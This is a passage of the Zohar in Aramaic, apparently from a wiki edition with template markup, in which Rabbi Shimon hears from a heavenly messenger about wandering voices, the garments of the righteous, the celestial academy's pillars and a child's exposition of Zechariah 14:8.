מתיבתא אמר הכי אוקמוה מלה במתיבתא דרקיעא ורזא יקירא איהי. 

תא חזי תלת קלין אינון דלא אתאבידו לעלמין בר קלין דאורייתא וצלותא דאלין סלקין לעילא ובקעין רקיעין אבל קלין אחרנין אינון דלא סלקין לא אתאבידו ואינון תלת קול חיה בשעתא דאיהי על קלביטא ההוא קלא משטטא ואזלא באוירא מסייפי עלמא עד סייפי עלמא. קול דבר נש בשעתא דנפיק נשמתיה מגופיה ההוא קלא משטטא ואזלא באוירא מסייפי עלמא עד סייפי עלמא. קול נחש בשעתא דפשיט משכיה ההוא קלא משטטא באוירא ואזלא מסייפי עלמא עד סייפי עלמא.  &lt;קטע סוף=דף קסח ב/&gt;


{{ממ זהר משולב|ג|קסט|א}}&lt;קטע התחלה=דף קסט א/&gt;אי חסידא קדישא כמה מלה דא רבא ויקירא. אלין קלין מה אתעביד מינייהו ולאן אתר עאלין ושארן. אלין קלין דצערא אינון ואזלין ומשטטי באוירא ואזלי מסייפי עלמא עד סייפי דעלמא ועאלין גו נקיקין ומחילין דעפרא ואתטמרן תמן. וכד ש דף קסט/א יהיב ב&quot;נ קלא אינון מתערין לגבי ההוא קלא. קלא דנחש לא אתער לגבי קלא דב&quot;נ. היאך יתער במחאה כד מחי בר נש מחאה אתער קלא דנחש דאתטמר לגביה ההוא קלא ולאו קלא אחרא. קלא אתער בתר קלא זינא בתר זיניה. ועל דא ביומא דר&quot;ה קול שופר אתער קול שופר אחרא זינא בתר זיניה אזלא. ארחיה דנחש לביש איהו לקטלא ולמחאה בההוא קלא ממש לא אתער קלא דהאי נחש אלא בתר זיניה ודא איהו כד בר נש מחי בחוטרא בארעא וקרי ליה לזיניה כדין אתער ההוא קלא דנחש לאתבא לזיניה ורזא דא איהו טמירו. אמר ר' שמעון ודאי מלה דא מלה סתימא היא. ותווהנא איך שלמה מלכא לא ידע מלה דא. א&quot;ל שלמה מלכא מנדע ידע ולא כ&quot;כ. אבל מה דלא ידע ההוא קלא מה תועלתא אית בה והיך יתבא. ורב מתיבתא הכי אמר דקדוקא דא לא ידע שלמה מלכא דהא ההוא קלא איהי כלילא רוחא ונפשא והבל גרמי מעצבונא דבשרא ומשטטא באוירא וכל חד מתפרש דא מן וכד מטא לההוא אתר דעאל ביה יתבא כמיתא וכל אינון חרשין וקוסמין ידעין אתרין אלין בחרשייהו וגחנין לארעא ושמעין קלא דא דמתחברן אינון רוחא ונפשא והבל דגרמי ואודעין מלה ודא איהו אוב מארץ ועל דא רדיף שלמה למנדע מה דאתעביד מההוא קלא ולא ידע. זכאה חולקך רבי דאתבריר לך מלה דקשוט. 

כד בר נש אתער קלא מיד (מתחברן) אתער ההוא קלא ולית ליה רשו לארכא יתיר. אלא כעין ההוא קלא דאתער ב&quot;נ ולא יתיר ואי אריך בר נש קליה איהו לא אריך כל כך בהדיה אלא לסופא דקלא בגין דלא יכיל לארכא מאי טעמא בגין דכד נפק בקדמיתא אתאריך מסייפי עלמא עד סייפי עלמא והשתא דעאל תמן לא יכיל לארכא קלא דהא ליתליה אתר לאתפשטא תמן כדבקדמיתא חדי ר&quot;ש ואמר אלמלי לא זכינא למשמע אלא מלה דא די לי למהוי חדי דזכינא למשמע מלין דקשוט דההוא עלמא. א&quot;ל אי חסידא קדישא אלמלי ידעת חדוה דמלין בההוא עלמא קמי רב מתיבתא תהא חדי יתיר. א&quot;ל מאי חדושא הוה השתא כד אתית לגבי. אמר. רב מתיבתא פתח ואמר ויוסף ישית ידו על עיניך. חדוה הוא. אמאי סתימו דעיינין למיתא בגין דעיינין גוונין דהאי עלמא אינון וחיזו ודיוקנא דהאי עלמא בהו איהו אסתים מניה האי עלמא חיזו דהאי עלמא אסתימו עינוי כל חיזו דהאי עלמא הא אתחשך מניה. וחשכין מניה חיזו דעינוי לית ליה חיזו בהאי עלמא מתמן ולהלאה. אמר ר' שמעון יאות תקונא דקדמאי וחכמתא דלהון יתיר ממלאכין קדישין. א&quot;ל יוסף אמאי ישית ידו מכל בנוי ואי תימא על בשורה דיליה מבעי ליה ויוסף חי תראה א&quot;ל ישית ידו בגין דרחימו דיליה הוה ובגין כך דא אסתים מיניה נהירו דהאי עלמא ודא נטיל ליה. מאן דאסתים עינוי רחימא דיליה אחזי הכי חיזו דילך דהאי עלמא אתאביד. הא אנא חיזו דילך באתרך מכאן ולהלאה יתתקנון לך חיזו אחרא דההוא עלמא. אמר ר' שמעון מה אתהני האי למיתא ומה תועלתא אית ליה בהאי מאן דיבעי למשאל (יומא) מה דאצטרי לאפקחא עינוי בגין לאחזאה דעדיין אזדמן איהו לאתבא לחיזו דהאי עלמא כדבקדמין. א&quot;ל אי חסידא קדישא ודאי אי לא אסתים מניה כל חיזו דהאי עלמא ולא אתאביד כלא מניה לא להוי ליה חיזו וחולקא דההוא עלמא. עלמא דא בהפוכא איהו מההוא עלמא דאנן ביה דבזמנא דתחיית מתייא אפילו כחוטא דשערא לא הוה מעובדא דהאי עלמא דכלא אתאביד בקדמיתא (טלא יבטיל ליה וישוי ליה) בההוא &lt;קטע סוף=דף קסט א/&gt;

 
{{ממ זהר משולב|ג|קסט|ב}}&lt;קטע התחלה=דף קסט ב/&gt;טלא (בקדמיתא) ויתעבר מניה כל זוהמא ולבתר יתעביד כחמירא דא ומניה יתעביד גופא בריה חדתא כך הכא. א&quot;ל רבי שמעון ודאי ידענא דאתון מלובשין תמן בלבוש יקר דגופא דכיא קדישא אי הוה בגוונא דא בהאי עלמא ב&quot;נ דאתחזי בההוא גופא כגוונא דאתון קיימין בההוא עלמא. א&quot;ל מלה דא שאילו קמי רב מתיבתא תרין עולימין דאתלבשו ביננא בתר דסבלו צערא על חובא דלא אתחזי לגלאה ושאילו דא קמי רב מתיבתא ואיהו אמר דהא הוה בהאי עלמא הכי מנלן דכתיב {{צ|ויהי ביום השלישי ותלבש אסתר מלכות}} - אתלבשת בההוא דיוקנא דההוא עלמא. מלכות דא רוחא דקודשא דהא מלכות שמיא נשיב רוחא מההוא רוחא דאוירא דההוא עלמא ואתלבשת ביה אסתר. וכד עאלת קמי מלכא אחשורוש וחמא ההוא לבושא נהורא דיוקנאה אדמי למלאך אלהים. פרחה מניה נשמתא לפום שעתא. מרדכי אוף הכי דכתיב {{צ|ומרדכי יצא מלפני המלך בלבוש מלכות}} - {{צ|לבוש מלכות}} ודאי - דיוקנא דההוא עלמא. ועל דא כתיב {{צ|כי נפל פחד מרדכי עליהם}} - {{צ|פחד מרדכי}} ולא פחד אחשורוש. 

אמר רבי שמעון כמה מתיקין אינון מלין זכאה חולקי והא ידענא דצדיקייא (ס&quot;א בהאי) בההוא עלמא מתלבשן בלבושא דאקרי לבוש מלכות והכי הוא ודאי. א&quot;ל אוירא דג&quot;ע נשיבו דרוח קודשא אינון ומתלבשן ביה צדיקייא כגוונא דהוו בהאי עלמא. ולבתר רוח קודשא שראת על רישא דכל חד וחד ואתעטר ואתעבידא ליה עטרא וכך הוה למרדכי דכתיב {{צ|בלבוש מלכות}} - דיוקנא דההוא עלמא. ולבתר ועטרת זהב גדולה דא עטרת דשריאת על רישיהון דצדיקייא בההוא עלמא. כד קבילו ישראל אורייתא כגוונא דא הוה להון. עד דחבו דכתיב בהו {{צ|ויתנצלו בני ישראל את עדים מהר חורב}}. אתפשטו מההוא לבושא וכן כתיב ביהושע כהנא רבא {{צ|הסירו הבגדים הצואים מעליו}}, וכתיב {{צ|וילבישוהו בגדים}} אלין לבושין דההוא עלמא מהכא מלין קדמאין ומהכא דכל זמנא דגופא דהאי עלמא קיימא בקברא בקיומא לא אתלבש רוחא בלבושא דההוא עלמא דכתיב {{צ|ויסירו הבגדים הצואים מעליו}} בקדמיתא ולבתר {{צ|וילבישוהו בגדים}}. {{צ|ומלאך יהוה עומד}} - מהו {{צ|עומד}}? אלא דא היא עטרא דאקרי מלאך יהוה דקיימא על רישיהון דצדיקיי' ודא איהו {{צ|עומד}} - עומד על רישא לעילא. לבתר דאתלבשן כהאי לבושא דיקר. תרין גופין כחדא לא יכלין למיקם כל זמנא דהאי קיים רוחא לא מקבלא אחרא. אתעבר דא הא אחרא זמינא מיד ודאי. דא נפיק ודא עאל כגוונא דיצר טוב ויצר רע. בהאי עלמא לא בעי קב&quot;ה דתרווייהו יקומון כחדא אמר ליה תווהנא על מה דכתיב (שם) {{צ|והשטן עומד על ימינו לשטנו}}. וכי יהושע בן יהוצדק כך שאר בני עלמא על אחת כמה וכמה. 

א&quot;ל חסידא קדישא כמה טמירין סתימין מלין אלין (א&quot;ל) אע&quot;ג דחברייא ידעין במלין דההוא עלמא לא יכלין למנדע ברזין אלין. 
א&quot;ל. כיון דבר נש בההוא עלמא מה תועלתא אית לההוא שטן לאסטאה ליה. ולא די ליה דאפיק נשמתיה מניה וקטיל ליה. 
אמר ליה אי חסידא קדישא זכאה חולקך. תא חזי תיאובתא דשטן לא הוה אלא בגין דלא יתלבש ההוא זכאה בלבושא דכיא קדישא דכיון דחזי ההוא שטן דלבושא דיליה אתדחיא ולא אתחשיב על דא אסטי ליה. מאי טעמא בגין דאי אתלבש בההוא לבוש יקר מיד לבושא דזוהמא ועבידתא דההוא שטן יתבטל ויעבר מעלמא ולא ניחא ליה לשטן. ותו דבכל זמנא דלא אתלבש פקדא רוחא לההוא גופא דזוהמא דיליה. וניחא ליה לשטן. וכיון דאתלבש &lt;קטע סוף=דף קסט ב/&gt;

 
{{ממ זהר משולב|ג|קע|א}}&lt;קטע התחלה=דף קע א/&gt;בההוא לבוש יקר הא אתבטל גווני דיצרא בישא וגופא דיליה וליה ליה דוכרנא בהדיה לעלמין. ואי תימא דאנן פקדין לבי קברי בריש כל ליליא לאו על גופא אלא דנפשא ונפשא פקדא לגופא. אבל השתא פקדונא דילן איהו לנפשא דאיהי משתככא ואשתארת בשכוכי גו גרמי. ובגין כך בריש כל ליליא פקדונא דרוחא לנפשא ולא על בשרא. אי חסידא קדישא תא ואגלי לך מלה סתימא בניינא דגופא דבר נש הכי הוא רוחא מעם רוחא דקודשא נשמתא מגו אילנא דחיי. כיון דרוחא קדישא יהב חילא מיד רתיכין דיליה יהבין חילייהו חילא דלהון גרמי ושייפין כלהו מסטרא דלהון ותקונייהו דא על דא. סט&quot;א יהבת בשרא ומסטרא דיליה אתיא בשרא ולא מלה אחרא. רתיכין דיליה יהבין כל אינון גידין וערקין לאמשכא דמא לבשרא בתר דאלין יהבי חילייהו שמיא יהבי חילייהו ומאן אינון עור דאתמשך על כלא כגוונא דלהון. לבתר מתחברן שמיא וארעא כחדא ויהבי ד' יסודי אלין אשא ומיא ואוירא ועפרא לאגנא על אלין ולחפיא על כלא לבתר כל חד נטיל חולקיה דיהב ואתבטל רוחא דקודשא ורתיכין דיליה חולקייהו קיימא רוחא דקודשא. רוחא דיליה קיימא ונשמתא סלקא רתיכין דרוחא דקודשא גרמין דלהון קיימין וע&quot;ד השיבו דגופא גרמין הוו ובגין כך כתיב {{צ|ועצמותיך יחליץ}}. ובשרא לא כתיב ביה הכי וכל זמנא דבשרא דסטרא אחרא קיימא בקיומא ההוא שטן קיימא לאסאנא אתאביד בשרא לית ליה רשו לאסטנא דהא לית ליה על מה דיסתמיך ועל דא כתיב יכל בשר מרואי ושפו עצמותיו לא ראו. מההוא חיזו דשטן דקיימא לאסטנא דלא יכיל כיון דיכל בשרו ושפו עצמותיו לא ראו. לא אתחזון לקרבא לגביה דלית ליה בהון חולקא כיון דשף כל חד וחד מדוכתיה לא תבע עלייהו ולא קאים לאסטנא בגינייהו לבתר דבשרא מתעכלא הא לא יתבע דינא ולא קאים לאסטנא דהא לית ליה על מה דיסתמיך ולא אדכר לב&quot;נ בשום מלה דעלמא. 

א&quot;ר שמעון השתא ידענא מלין על תקונייהו. ודאי יאות הוא ליה לאסטנא א&quot;ל ר' (שמעון) חגור זינך ותקין גרמך אי תבעי למנדע מלין דשארית או אי תשאל בהני מלין אימא לי. א&quot;ל ודאי הא ידענא דביתאי שכיבת דלא ידענא מנה כלום וחברייא ידעין. נשין מ&quot;ט דעתייהו קלה. א&quot;ל דעתא אתיא בשית דרגין. וכל חד נטיל חולקיה מה דאשתאר קל איהו אבל יקירא דא אי לאו דאשת כסילות אשתתף בה. במלה דא לא תשאל דהא ידענא דלאו על דביתך שאלת אלא על מה דכתיב {{צ|הנה יהוה רוכב על עב קל}} וההוא עב קל אקרי דעת מההיא כלה יראת יהוה ואיהי קיימא באמצעיתא כגוונא דדעת עלאה אבל (ס&quot;א וע&quot;ד) אקרי קל. והא ידענא שאלתא דילך מאי היא. אבל שארי וחגור זינך וקטיר קטרך דהא עידנא הוא לגלאה כמה דשארית עובדא. דעל אנפי רוחב ביתא. אולם דעזרה לגו. בהאי עזרה אית תריסר פתחין לפום חושבן שבטיא דישראל. בפתחא חדא כתיב ראובן. ובפתחא אחרא כתיב שמעון וכן כל שבטיא דישראל רשימין על אינון פתחין בזמנא דיסלקון לאתחזאה קמי מאריה דעלמא. מאן דעייל בפתחא דרשים ביה ראובן אי משבטא דראובן איהו מקבלין ליה פתחין ואי לא פלטין ליה לבר וכן בכלהו דלא יקבלון פתחין אלא למאן דאיהו מההוא שבטא דרשים בהון ובדא יתחקקון וישתמודען כל חד וחד. תלת מאה ושתין וחמש עמודין דנהורא מלהטא אית בכל סטרא מאינון ארבע סטרין כל אלין עמודין אקרון עמודים חיים בגין דלא קיימא נהורא דלהון &lt;קטע סוף=דף קע א/&gt;

 
{{ממ זהר משולב|ג|קע|ב}}&lt;קטע התחלה=דף קע ב/&gt;שכיך באתר חד. וכלהו אלין סלקין ואלין נחתין יהבי דוכתא דא לדא אלין דסלקין בטשין דא בדא ומנגני נגונא ואלין דנחתי אוף הכי. אלין דסלקי דנגני נגונא מאי נגונא מנגני שיר דעד כען מלאכין קדישין לא שבחו ליה בגין דאיהו חדש. מאי טעמא איהו חדש בגין דההוא דמחדש עולימוי משבח ליה ואמר ליה והכי אמר רב מתיבתא דא אקרי חדש ואיהו חדש בגין דדביק בשמשא ולא אתפרש מניה לאפקא סטרא אחרא דלית ביה חדושא דכתיב ביה {{צ|ואין כל חדש}}. זקן הוא ואתבלי ולא אתחדש. (ס&quot;א ולא עביד תולדין) דאלמלא עביד תולדין הוה מטשטש עלמא). תו פתח רב מתיבתא. שדה אתחדשת בעדונא דרגא דילה גרים דכתיב {{צ|אחרי בלותי היתה לי עדנה}}. מאי דדנה משיכו דעדן עלאה. ובגין דאתמשך עלה מסטר דנוקבא כתיב {{צ|עדנה}} בה&quot;א ובגין כך כתיב {{צ|היתה}} ולא &quot;היה&quot;. {{צ|ואדני זקן}}. וכי אע&quot;ג דאיהו זקן לא אתחזי לאולדא אלא לאו מלתא זעירתא אמרה לגביה (דאברהם אלא) דבגין (לאזער גרמה דאתדבקת) ההוא (מלך) זקן (ד&quot;א דאתדבקא) (וכסיל) לא אתחדש ולא עביד תולדין דאלמלא הוה עביד תולדין הוה מטשטשא עלמא (ס&quot;א אלא אמרה לגבי דאברהם בגין דהוא זקן לא אתחדש ולא עביד תולדין). ועל דא אהדר מלין קודשא בריך הוא למה זה צחקה שרה וגו'. ואי תימא והא כתיב {{צ|ואברהם זקן בא בימים}}. אלא בא בימים. באינון יומין עלאין דמחדשי עולמין כנשרא. ע&quot;ד נגונא דא נגונא דההוא חדש איהו. הושיעה לו. למאן לההוא חדש הושיעה ימינא דמלכא עלאה ודרועא דיליה. אינון דנחתי אוף הכי מנגני ואמרי שירה אחרא יתמא. ומאן איהו מזמור לתודה דאיהו יתמא. אוף הכי נהורא דלהון חד אתחזי. וכד מתגלגלי אתחזן חמש גוונין דנהורין. בכל עמודא ועמודא. עמודין אלין כלהו חללין מלגאו. וכד סלקי ונחתי נפקי מנייהו שלהובין דנורא כגווני חיזור ושושן. לעילא מכל עמודא ועמודא אית תלת תפוחין דבטשי בהו תלת גוונין סומק ירוק וחוור. בכל גוון וגוון מלהטן אתוון בלטי משלהובא ירוקא דאשא ולא משתככי לעלמין ולית מאן דיקום עלייהו. ארבע גלגלין מתחמן עובד ציור בכל עמודא ועמודא. באינון גלגלין אית פליאן רברבן כד מסתחרן מפקין מנייהו זגין דדהבא ואבני יקר. ומיד מתכנשי בגווייהו ולא נפלי לארעא כד נפקין אינון זגין דדהבא ואינון אבני יקר גו אסתחרותא דגלגלין אשתמע קלא דאמרי זאת נחלת עבדי יהוה וצדקתם מאתי נאם יהוה תרין אריין לבכל גלגלא וגלגלא אריא חדא מסטרא חדא ואריא חדא מסטרא חדא וכלהו מאשא ירוקא ובגלגולא דקא מסתחרן גלגלין מתחבקן אלין באלין ואזלי כלהו. בגלגולא מתדבקן דא בדא. כד סלקין עמודין מנהמן אריין אלין באלין ותפוחין פרחין באוירא וסלקין לעילא ובטשי אלין באלין באוירא ותבו לאתרייהו ומתמן נפלי ואריין פשטי ידייהו לנטלא לון וסלקין אלין מגרמייהו. אי חסידא קדישא. מאן חמא חכמתא דאומנו דצייר קב&quot;ה בעמודין אלין. בפלגו יומא נפקי תרין נשרין בכל גלגלא וגלגלא ולא ידיע אתר דנפקי מתמן ושריין על רישיהון דאלין אריין וכדין משתככי עמודין וגלגלין וקיימי בקיומייהו. ותפוחין נפלי על פומייהו דנשרי ומקבלי לון ומיד פרחין מפומא לפומא ואזלין ומשטטי בינייהו ותבו לאתרייהו ולא ידיע מאן היא. לבתר שעתא ופלגא נשרין ארימין קלא ומנגנין נגונא תאיבא ואתטמרן ולא ידיע בהי אתר. סחרנייהו דאינון עמודין אית שבכין עובד ציור. אשא סומקא ונהורא חוורא וחוטין דדהבא סחור סחור סחרין לכל סטר ומעיינא דמיא &lt;קטע סוף=דף קע ב/&gt;

 
{{ממ זהר משולב|ג|קעא|א}}&lt;קטע התחלה=דף קעא א/&gt;כמה דאת אמר {{צ|והיה ביום ההוא יצאו מים חיים מירושלם חצים אל הים הקדמוני וחצים אל הים האחרון}}. הכא פריש רב מתיבתא קרא דא לגו וקליה אשתמע לבר. (ס&quot;א ואדהוה) מדהוה פריש קרא דא. (אי קדישא אי קדישא) קל ינוקא אתער מלבר ההוא ינוקא דהוה פריש תלמודיה וגמיר קמי חד עמודא דעלמא בריה דרבי יהודה דרבית אנת והוו אחדי ביה לדינא וקליה אתער מלבר בהאי קרא ואמר מיא דאינון מלרע היך סלקין לעילא מניה לאתר עלאה יתיר מניה בכמה דרגין ומה אצטריך לון לאינון מיין לעילא. ומה אתר דכל (תפוחי) מבועין ונחלין נפקין מניה ולית פסיקו למבועי ונחלי אתשקיא מאתר נגיב מאן חמא חפירא דבירא דיהיב מיין למבועא דגביע. וכי ירושלם יהיב מיין אל הים הקדמוני אתר דכל מימין דעלמא נפקי מתמן ונבעין מניה. אי חסידא קדישא לקלא דא אשתככו וצייתו כל קלין דבני מתיבתי דתמן ובגין כך לא יכילו מארי דדינא למקרב גביה. 

בכה ר' שמעון א&quot;ל לא תבכי בוצינא קדישא זכאה חולקך דאפילו ינוקי מנך אמרי רזין סתימין דאורייתא. תא ואימא לך מה דעבדו בני מתיבתי על קליה דההוא ינוקא כד עאל קליה דההוא ינוקא כגירא לגו וכלהו צייתי ליה. בההוא שעתא אזדעזע רב מתיבתא וכל אינון דהוו קמיה ואמר מאן אינון דלא שבקין לההוא ברא דאלהא חייא למיעל קמו ואחידו ביה תלת עמודין דקיימי קמי רב מתיבתא ועאל וכל בני מתיבתי אתכנשו לגביה אמר רב מתיבתא אימא קראיך ברא קדישא. אמר עד כען דחילנא דהא אנא ממתיבתא אחרינא הוינא והכי אמרו לי כד מארי דדינא הוו אחדין בי. א&quot;ל לא תדחל ברא קדישא הכא תהא ביננא שבעה יומין ותתמחי בכל יומא מטלא קדישא. ולבתר יסלקון לך לגו ההוא מתיבתא בשאר ינוקי דהכא:

פתח ההוא ינוקא ואמר {{צ|והיה ביום ההוא}} - {{צ|ההוא}} - לא ידיע מאן הוא?! אלא בכל אתר {{צ|ביום ההוא}} יומא בתראה הוא אמאי אקרי {{צ|יום ההוא}}? אלא דא הוא יומא דאחיד סופא בשירותא. שירותא אקרי הוא כמה דאת אמר {{צ|ועבד הלוי הוא}} פולחנא דלוי לדרגא דאקרי הוא טמיר וגניז ואקרי ההוא (ה' הוא) לאחזאה סופא דכל דרגין דאיהו שירותא וכלא חד ובגין דאיהו סופא אתוסף ביה ה' (ס&quot;א הלוי הוא. הוא טמיר וגניז ודא אקרי יום ההוא לאחזאה סופא דכל דרגין דאחיד בשירותא וכלא חד) זמינא ירושלם לאפקא מיין ולנבעא נביעו הכא אית לומר סופא דכל דרגין לאו איהו ירושלם אלא ודאי ירושלם ויומא ההוא כלא חד. מה בין האי להאי אלא ירושלם כל דרגין קדישין דילה כד אמתחרן אקרון ירושלם והכי אתחמאן ואית דרגין דסחרן ואקרון עזרות אלין פנימאין ואלין לבר ואית דרגין דאקרון כר אסתחרן לשכות (ס&quot;א כד א סתחרן אלין פנימאין ואלין לבר אקרון ירושלם ואית דרגין דסחרן ואקרון עזרות ואית דרגין דאקרון לשכות) ואית דרגין דאקרון כד אסתחרן היכל ודביר. לגו מכל אינון דרגין אית חד נקודה כבודה בת מלך פנימה. נקודה דא אקרי יום ההוא וסימניך ההוא יקרא ארץ וכד יקום יומא דא מגו שבכין דעזרה יקום נביעו דמיא וההוא נביעו מן הים הקדמוני להוי. כגוונא דאמא דברה בין דרועהא ומסגיאו חלבא דיניק אתמלי פומיה ואתרבי ביה אריק חלבא לפומא דאמיה. כך חצים אל הים הקדמוני. נטליה רב מתיבתא ונשקיה. אמר חייך (ס&quot;א חיין דעלמא דמלה דא הכי) אוקמוה במתיבתא דרקיעא והכי הוא ודאי. ים האחרון דרגין בתראין דילה. אי חסידא קדישא כמה חדוה על חדוה אתוסף בההוא ינוקא גו בני מתיבתי כ&quot;ז טעמי דאורייתא אמר ההוא ינוקא ושבעין כתרין אעטרוה לאבוה בההוא יומא זכאה חולקיה מאן דזכי למילף לבריה. אמר רבי שמעון לא זכה אבוה למילף ליה. אמר אבוה שבק ורזא סתימא &lt;קטע סוף=דף קעא א/&gt;

 
{{ממ זהר משולב|ג|קעא|ב}}&lt;קטע התחלה=דף קעא ב/&gt;הוה בהאי ינוקא על מה דאסלק מעלמא ועל דבעו למידן דיניה (ס&quot;א באתגלייא) ואשתזיב מניה דא הוה באתגלייא דהוה מכסיף לרביה קמי כלא בשאלתין וקושיין דיליה ולא חייש למהך לאחרא לאתקנא תלמודוי וחליש דעתא דרביה ועל דא בעו למידן ליה בדינא תקיפא. ובגין כך אף על גב דאשתזיב ממאריהון דדינא לא אשתזיב הכא. שבעה יומין הוי דלא אשתלים דיוקניה (ס&quot;א דיניה) וכד הוה אסתחו בכאבא יתירא קמי כלא כל אינון שבעה יומין עד דאשתלים דיוקניה ועל דאסתלק מעלמא לא תבעי למנדע. אי רבי אי רבי זכאה חולקך. 

תא חזי תחות עגולא דאינון שבכין דתמן באינון מיין דההוא נביעו דמעיינא אתרשים נביעו חד ואתפשט ונפיק ונפיק לבר ועאל גו ימא רבא (דתמן) ורשים ביה ארחא בלבא דימא ומיניה שתי לויתן ורוי וחדי ואתרבי ברבוייא וכד נפיק נביעו אחרא ההוא נביעו אתפשט ואזיל בטמירו תחות תהומא לגו ימא ברבוייא וכד נפיק נביעו אחרא ההוא נביעו אתפשט ואזיל בטמירו תחות תהומא לגו ימא בתראה וכל אינון מים זדונים ומיין תקיפין מאיך לון וכפיף לון דלא יפקון לחבלא בני עלמא. וסימן הנותן בים דרך ובמים עזים נתיבח. ובאמצעיתא דההיא עזרה אית תרין כרובים עובדא דאומנא דמלכא קדישא ולא יכלין לקיימא בהו עלאין ותתאין ותחותייהו זמינין כל ישראל לקיימא דלא יפקון מתחות גדפייהו לבר זכאין ליהוון כל דעאלין תחות גדפייהו. תליסר אלפי מגדלין דשמשא דנהיר מנצוצא דמרגקלא בצעצועא (ס&quot;א בניצוצא) כדקא יאות. רב מתיבתא בגין כך זכה לההוא יקר. מאן יכיל למימר מאינון מלין דקא מתחדשן בכל יומא מקמי רב מתיבתא אי רבי בכל זמנא דרוחין דכורין סלקין לעילא. נשין בההוא זמנא נפקי כלהו ומתכנשי לגו היכלא דבתיה תמן וחדאן תמן. בכמה מלין עתיקין. ומתמן נפקין ועאלין כלהו. והיא עמהון לגו היכלא דסרח. וחדאן בכמה מלין חדתין ועתיקין ומתמן נפקין והיא עמהון ועאלין לגו היכלא דיוכבד. וכן בכל אינון היכלין. השתא ר' אימא לך רזא חדא. 

תא חזי בכל שמטה ושמטה כרוזא נפיק אתכנישו גוברין ונשין וכל אינון בני מהימנותא וסליקו כדין כלהו מתפשטין דכורין ונשין וסלקין וכל אינון ינוקי מחלב עאלין לגו מתיבתא (ס&quot;א אתכנישו בני מהימנותא גוברין ונשין וכל אינון ינוקי מחלב וסליקו כדין כלהו מתפשטין דכורין ונשים וסלקין וכלהו עאלין לגו מתיבתא) דרקיעא וחדאן חדוה. ועלויא דלהון ותמן חדו על חדו. וההוא נער דמפתחן דמאריה בידיה קם ואמר לון כמה מלין חדתין ועתיקין וכלהו חמאן חדוה דלית חדוה כההיא חדוה. לבתר עאלין כלהו לגו כמה פרוכתין וכמה היכלין גניזין תמן דאינון נהרין בנעם יהוה בגו היכלא דאהבה דקב&quot;ה ודא הוא דכתיב {{צ|לחזות בנועם ה' ולבקר בהיכלו}} לבתר פרחין ינוקין לעילא ואינון פרחין לתתא ומהדרין לדוכתייהו ומתלבשן כדבקדמיתא. זכאה עמא דכל טובא דההוא עלמא מחכאן. אמר ר' שמעון כמה מתיקין מלין דשמענא. זכאה חולקא דידי דזכינא לכל האי למשמע זכאה יומא דנפיקנא הכא. אמרי ליה רבי תלת יומין אית לן רשו למיתי גבך ולבתר חד יומא (ס&quot;א ניזיל ולא אית לן רשו למיתי ובההוא יומא יתוסף) חדוה דילך איהו משיך משיכו מסטרא דיליה ואתטמר ואתחפא תחות אתר דאקרי תא הרצים עד פלגו ליליא. מבתר פלגו ליליא שלהובא דעמודא דיצחק נפיק ובטש בהאי תרנגולא דאקרי גבר כגוונא דגבר אחרא עלאה עליה כיון דבטש ביה האי גבר קרי ויהיב שית קלין וכלהו בסכלתנו. בשעתא דאיהו קרי כל תרנגולין דהאי עלמא קראן ונפיק מניח שלהובא אחרא ומטי לון תחות גדפייהו וקראן איהו מה קרי בשעתא קדמאה קרי ואמר {{צ|קול יהוה בהדר}}. ובשעתא תניינא קרי ואמר {{צ|קול יהוה לעיר יקרא וגו'}}. בשעתא תליתאה קרי ואמר {{צ|קול יהוה חוצב להבות אש}}. &lt;קטע סוף=דף קעא ב/&gt;

 
{{ממ זהר משולב|ג|קעב|א}}&lt;קטע התחלה=דף קעב א/&gt;בשעתא רביעאה קרי ואמר {{צ|קול יהוה יחיל מדבר וגו'}}. בשעתא חמישאה קרי ואמר {{צ|קול יהוה על המים וגו'}}. בשעתא שתיתאה קרי ואמר {{צ|קול יהוה יחולל אילות וגו'}}. לבתר קרי ואמר {{צ|קול אומר קרא ואמר מה אקרא וגו'}}. ודא איהו תרנגולא דקרי ולא שכיך ולבתר קרי כמלקדמין ומאי קרי כל עובדין דבני עלמא בגין דאיהו מאריה דאחמתא (ס&quot;א דחכמתא) וקסת הסופר בחרצוי וכל עובדין דבני עלמא כתיב בכל יומא. ובליליא בתר דקרי כל קריאן אלין קרי כל מה דכתב ביומא. ואלמלא רגלוי אצבעאן דיליה דאינון תרין דרגין חד ההוא דקיימא באמצעיתא דאיהו רב וההוא דקיימא מאחורא דאיהו זעיר דקא מעכבין ליה יהא מוקיד עלמא בשלהובוי. ומה עבדי כיון דסליק צפרא וחוטא דנהירו נפיק מסטר דרום כדין מתחברין כלהו ואתעבדין תרין רגלין תרין טלפין כעגלא לקיימא דכתיב {{צ|וכף רגליהם ככף רגל עגל}} והא ידעת רזא דא. שאלת ענפא דגורן לגו בעזרה דא אית תלת מאה ושתין וחמשה היכלין כחושבן יומי שתא ובכל פתחא ופתחא כתיב {{צ|יהי שלום בחילך שלוה בארמנותיך}} לא ידיע מאי הוא בהני היכלין אלא כלהו אתחמן עובד ציור. שבע סדרין דמרגלאן אתחמן אלין באלין בכל חד וחד. אי חסידא קדישא כמה משבח רב מתיבתא היכלא חדא דאיהו בריש סטר מזרח דעזרה דא בגין דארבע אינון בד' סטרין דעלמא אבל היכלא דסטר מזרח אסגי נהורין דיליה יתיר מכלהו. יומא חד בימא רבא לויתן נפיק וכל ימא אזדעזע וכל נוני אזלין לכאן ולכאן כד מטי לויתן בפתחא דפתחא דתהומא שארי למחדי ואשתכך תמן תהומי אלא ההוא כחיזו דמעיין ואתחפיין נהורין ולא אתחזון כל אינון נהורין בר נהורא דהיכלא דבסטר מזרח. דא ההוא מרגלא דקא אפיק לויתן מגו ההוא תהומא דאקרי סגדו&quot;ן. ממה אתעביד. אלא יומא דא דקא אפיק לויתן דאזדעזע ימא יומא דאתחרב בי מקדשא ט' באב איהו. וההוא מרגלא דכד דכיר קב&quot;ה לבנוי ואושיד תרין דמעין לגו ימא רבא חד נפיל לגו תהומא דא דאקרי סגדו&quot;ן וחד נפיל לגו תהומא אחרא דאקרי גילב&quot;א בגין דחמש תחומי אחרנין אינון בימא רבא. אבל לא חשיבין כהני אחרנין וכיון דנפלי אינון דמעין קפאן גו תהומי חד. וחד אטבע גו תהומא דאקרי גילב&quot;א דתתא גו שמרים דחמרא דורדיין בישין נפיק חד ערעורא מקטרגא מזיקא קדמאה ואיהו ברוחא דיוקנא דאדם כד קריב לגו קודשא כיון דמתעבר מתמן ובעי לנחתא לתתא לאתלבשא בלבושא לנזקא עלמא נחית הוא ורתיכוי. ולבושא קדמאה דקא נקיט תבנית שור דיוקנא דשור וקדמאה לנזיקין מאינון ארבע. שור איהו. ואינון ארבע אבות לנזקא 